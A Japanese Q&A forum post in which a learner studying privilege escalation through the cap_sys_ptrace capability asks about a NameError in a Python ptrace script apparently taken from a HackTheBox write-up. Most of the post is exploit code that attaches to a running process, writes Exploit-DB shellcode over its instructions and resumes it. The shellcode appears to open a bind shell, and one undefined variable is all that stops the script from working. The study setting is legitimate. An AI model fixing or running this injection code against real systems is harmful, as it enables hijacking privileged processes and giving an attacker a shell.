cap_sys_ptraceを使ったprivilege escalation

Question

前提

cap_sys_ptraceを使ったprivilege escalationを初めて勉強しています。

実現したいこと

/usr/bin/python3.8 = cap_sys_ptrace+epの時のprivilege escalationの達成

発生している問題・エラーメッセージ

NameError: name 'val' is not defined

該当のソースコード

import ctypes
import sys
import struct

PTRACE_POKETEXT   = 4
PTRACE_GETREGS	= 12
PTRACE_SETREGS	= 13
PTRACE_ATTACH 	= 16
PTRACE_DETACH 	= 17

class user_regs_struct(ctypes.Structure):
	_fields_ = [
    	("r15", ctypes.c_ulonglong),
    	("r14", ctypes.c_ulonglong),
    	("r13", ctypes.c_ulonglong),
    	("r12", ctypes.c_ulonglong),
    	("rbp", ctypes.c_ulonglong),
    	("rbx", ctypes.c_ulonglong),
    	("r11", ctypes.c_ulonglong),
    	("r10", ctypes.c_ulonglong),
    	("r9", ctypes.c_ulonglong),
    	("r8", ctypes.c_ulonglong),
    	("rax", ctypes.c_ulonglong),
    	("rcx", ctypes.c_ulonglong),
    	("rdx", ctypes.c_ulonglong),
    	("rsi", ctypes.c_ulonglong),
    	("rdi", ctypes.c_ulonglong),
    	("orig_rax", ctypes.c_ulonglong),
    	("rip", ctypes.c_ulonglong),
    	("cs", ctypes.c_ulonglong),
    	("eflags", ctypes.c_ulonglong),
    	("rsp", ctypes.c_ulonglong),
    	("ss", ctypes.c_ulonglong),
    	("fs_base", ctypes.c_ulonglong),
    	("gs_base", ctypes.c_ulonglong),
    	("ds", ctypes.c_ulonglong),
    	("es", ctypes.c_ulonglong),
    	("fs", ctypes.c_ulonglong),
    	("gs", ctypes.c_ulonglong),
	]

libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"


# CHANGED FROM HERE
# Previously obtained value
final = [1220555080, 826855985, 1791426550, 40523817, 1208291167, 1711434391, 35931335, 1582620693, 1479633490, 257560682, 845831685, 1778716504, 84891691, 57317192, 2966355806, 1963265825, 1390868472, 1647295304, 791637609, 1213425779, 2955164813, 331579]

# Inject the shellcode into the running process byte by byte.
j = 0
for i in range(0,len(shellcode),4):
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),val[j])
  j +=1

# CHANGED UPTO HERE

print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

試したこと

そもそも何故modifyしてるかもわかりません。

補足情報（FW/ツールのバージョンなど）

https://shishirsubedi.com.np/htb/doctor/
ここのコードを使いました。